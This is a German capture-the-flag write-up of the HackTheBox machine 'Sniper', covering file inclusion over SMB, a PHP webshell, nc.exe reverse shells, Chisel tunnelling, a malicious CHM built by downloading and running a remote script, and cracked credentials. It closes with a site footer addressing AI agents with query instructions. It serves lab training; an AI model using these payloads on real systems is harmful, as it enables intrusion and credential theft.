> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Sniper HackTheBox Writeup Sniper HackTheBox Medium Windows-Maschine Writeup zu Local File Inclusion (LFI), Remote File Inclusion (RFI) (fehlgeschlagen), Remote File Inclusion über SMB-Server (net usershare-Technik) (erfolgreich) {% embed url="" %} {% hint style="warning" %} Fähigkeiten: * Lokale Dateieinbindung (LFI) * Remote File Inclusion (RFI) (Fehlgeschlagen) * Remote File Inclusion über SMB-Server (net usershare-Technik) (Erfolgreich) * Erstellung einer Webshell und Erreichen der Remote-Befehlsausführung (RCE) * Informationsleck (User-Pivoting) * Arbeiten mit Chisel und ScriptBlocks mit Invoke-Command * Erstellung einer bösartigen CHM-Datei (Out-CHM.ps1) (Privilegieneskalation) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren. (80,135,139,445,496,67)

**Port- und Versionsscan mit Nmap:** Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```

### Port 80:

**Analyse mit `whatweb`:** Wir verwendeten `whatweb` um die vom Webserver verwendeten Technologien zu identifizieren: {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **LFI-Schwachstelle :** Auf der Seite zum Sprachwechsel gab es einen `lang` Parameter zum Laden verschiedener PHP-Dateien je nach gewählter Sprache.

Wir testeten mit einer lokalen Systemdatei: ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * Dies ermöglichte uns, den Inhalt von `hosts` Datei vorhanden sind.

**Versuche zum Lesen sensibler Dateien mit `php://filter`:** Wir versuchten, die LFI zu verwenden, um die `index.php` Datei des Microsoft-IIS-Webservers zu lesen, die sich in `/inetpub/wwwroot/index.php`befindet, aber der Vorgang über `php://filter` funktionierte nicht.

```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```

### Remote File Inclusion (RFI) (Fehlgeschlagen) #### RFI-Test über entfernten Webserver: Wir versuchten, eine entfernte Datei über die `?lang=http://10.10.14.3/index.html` URL zu laden, indem wir auf unseren lokalen Webserver mit Python3 verwiesen. ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` Aber es funktionierte nicht.

## Remote File Inclusion (SMB-Server) **SMB-Server erstellen:** Wir erstellten einen lokalen SMB-Server mit `smbserver.py` und gaben das aktuelle Verzeichnis frei: ```bash smbserver.py share $(pwd) -smb2support ``` Dann versuchten wir, eine Datei vom SMB-Server zu laden, indem wir den `lang` Parameters ```bash ?lang=/10.10.14.3/share/index.html ``` * Diesmal interpretierte der Server unsere `index.html` Datei korrekt und zeigte deren Inhalt an ("Hello World").

**Eine PHP-Webshell-Datei erstellen (`cmd.php)`** Wir erstellten eine `cmd.php` Datei auf unserem SMB-Server, um Remote-Befehle über die `cmd` Parameter ist: ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* Befehlsausführung über SMB/*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` Mit der folgenden URL führten wir den `whoami` Befehl: ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```

### Reverse Shell (nc.exe) **Herunterladen `nc.exe` für Reverse Shell:**/ Wir haben die `nc.exe` Binärdatei aus den laufenden Tools in `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` wiederhergestellt und in das Arbeitsverzeichnis kopiert. ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **Auf Port 443 lauschen:**/ Wir richteten einen Listener mit `nc` ein, um auf Port 443 zu lauschen: ```bash rlwrap nc -nvlp 443 ``` **Ausführung der Reverse Shell über SMB:**/ Wir starteten dann eine Reverse Shell, indem wir den `cmd` Parameter auf unsere Datei setzten ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` So erhielten wir eine Reverse Shell auf unserer Maschine.

## Privilegieneskalation **Nach sensiblen Dateien suchen:**/ Wir suchten in PHP-Dateien nach sensiblen Informationen und fanden die `db.php` Datei mit Datenbank-Anmeldeinformationen: * Benutzer: `dbuser` * Passwort: `36mEAhz/B8xQ~2VM`

**Überprüfung der Anmeldedaten für einen anderen Benutzer:**

Wir entdeckten einen weiteren Benutzer namens **Chris** zusätzlich zum Benutzer **Administrator**. Wir verwendeten **CrackMapExec** um zu prüfen, ob die `Chris` Anmeldedaten gültig waren: ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Die Verbindung war erfolgreich.

**Berechtigungen des Benutzers "Chris" überprüfen:** * Wir stellten fest, dass der Benutzer `Chris` zur **Remote Management User** Gruppe gehörte, was ihm eine Remoteverbindung ermöglichte.

/*/* Analyse der offenen Ports\:/*/* Der für die Remoteverbindung erforderliche Port (Port 5985, verwendet von WinRM) war nicht extern, sondern intern offen. Wir verwendeten `netstat` um die lauschenden Ports auf dem Zielsystem zu überprüfen: ```bash netstat -an | findstr "LISTEN" ```

## Portweiterleitung (5985 WinRM) ### 1. PowerShell Wir starteten PowerShell auf unserer Angriffsmaschine: ```bash powershell ``` Wir ermittelten den Namen der Windows-Umgebung mit dem Befehl `hostname`und stellten fest, dass der Hostname `Sniper`. ```powershell hostname ``` Dann erstellten wir eine Variable für den Benutzer `Chris` und eine weitere für das Passwort mit `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` Dann erstellten wir ein `PSCredential` Objekt, um Remote-Befehle auf dem Zielsystem ausführen zu können: ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **Ausführung von Remote-Befehlen:**/ Wir verwendeten den folgenden Befehl, um `whoami` remote auszuführen und den Zugriff zu überprüfen: ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * Dies bestätigte uns, dass wir ordnungsgemäß als **Chris**.

**Reverse Shell :**/ Um vollen Zugriff auf das System zu erhalten, richteten wir einen Listener auf Port 4444 ein: ```bash rlwrap nc -nlvp 4444 ``` Dann führten wir eine Reverse Shell aus mit `nc.exe` von unserem SMB-Server aus: {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}

### 2. Chisel {% embed url="" %} **Dateien herunterladen und vorbereiten:**/ Wir haben die komprimierten **Chisel** Dateien heruntergeladen, und zwar: * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} Nach dem Entpacken übertrugen wir die **Chisel** Windows-Datei auf die Zielmaschine: ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```

**Anbindung an die Angriffsmaschine mit Chisel:**/ Wir starteten **Chisel** im Servermodus auf der Angreifermaschine auf Port 8888: ```bash ./chisel-linux server -p 8888 -reverse ``` Dann führten wir auf der Ziel-Windows-Maschine **Chisel** im Client-Modus aus, um sich mit unserer Angriffsmaschine zu verbinden und Port 5985 auf unseren Rechner umzuleiten: ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```

**Überprüfung der umgeleiteten Ports mit `lsof`:**/ Wir überprüften mit dem Befehl, dass Port 5985 nach der Umleitung korrekt eingerichtet war:

**Anmeldung mit WinRM:**/ Wir verwendeten **CrackMapExec** um die Verbindung über **WinRM** auf dem umgeleiteten Port 5985 zu testen: ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Wir erhielten das Symbol **gehackt**und bestätigten damit, dass es uns gelungen war, über WinRM auf die Maschine zuzugreifen.

**Abschließende Verbindung mit Evil-WinRM:**/ Schließlich verwendeten wir **Evil-WinRM** um eine Remote-Shell als zu erhalten **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### Flagge user.txt :)

**Erkundung des Verzeichnisses "docs":**/ Im Stammverzeichnis von **Windows**, fanden wir einen Ordner **docs** mit einem `note.txt` Datei mit der folgenden Nachricht:

> Hallo Chris, > > Deine PHP-Kenntnisse sind wirklich schlecht. Kontaktiere Yamitenshi, damit er dir beibringt, wie man es benutzt, und behebe dann die Seite, denn sie hat viele Fehler. Ich hoffe auch, dass du die Dokumentation für unsere neue Anwendung vorbereitet hast. Leg sie hier ab, wenn du fertig bist. > > Mit freundlichen Grüßen,/ Sniper-CEO. **Suche nach Dokumentation im System:**/ Wir suchten nach der vom CEO erwähnten Dokumentation und fanden sie in der **Downloads** Verzeichnis unter dem **instructions.chm** Datei vorhanden sind.

### **Erstellung einer bösartigen CHM-Datei:** Nachdem wir herausgefunden hatten, dass der CEO sich **CHM** Dateien in der **docs** Verzeichnis ansehen wollte, suchten wir im Internet nach einer Anleitung zum Erstellen bösartiger CHM-Dateien. {% embed url="" %} **HTML Help Tool herunterladen:**/ Wir luden **HTML Help** herunter und verwendeten ein PowerShell-Skript, um eine bösartige CHM-Datei zu erstellen * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` Dann modifizierten wir das Skript, um über **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```

**Einschleusen der bösartigen CHM-Datei in das Zielverzeichnis:**/ Wir haben auf unserer Angriffsmaschine einen SMB-Server eingerichtet, um die bösartige Datei auf die Ziel-Windows-Maschine zu übertragen: ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* Verbindung zur SMB-Freigabe vom Opferrechner aus\:/*/*/ Von der Ziel-Windows-Maschine aus banden wir die SMB-Freigabe ein und kopierten die bösartige `doc.chm` Datei ein: ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **Warten auf eine Reverse Shell:**/ Wir starteten auf unserer Angriffsmaschine einen Listener und warteten auf eine Reverse-Shell-Verbindung: ```bash rlwrap nc -nlvp 443 ```

/*/* Aufgetretenes Problem:/*/*/ Obwohl die CHM-Datei geöffnet wurde, erhielten wir keine Reverse Shell. Wir konnten jedoch einen **SMB Relay V2** auf unserem Server abfangen. Dadurch erhielten wir einen Authentifizierungshash für den Benutzer `Administrator`

#### **Administrator-Hash knacken:** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`

#### **Als Administrator anmelden:** Mit den erhaltenen Anmeldedaten verwendeten wir **Evil-WinRM** um uns als Administrator mit der Maschine zu verbinden: ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.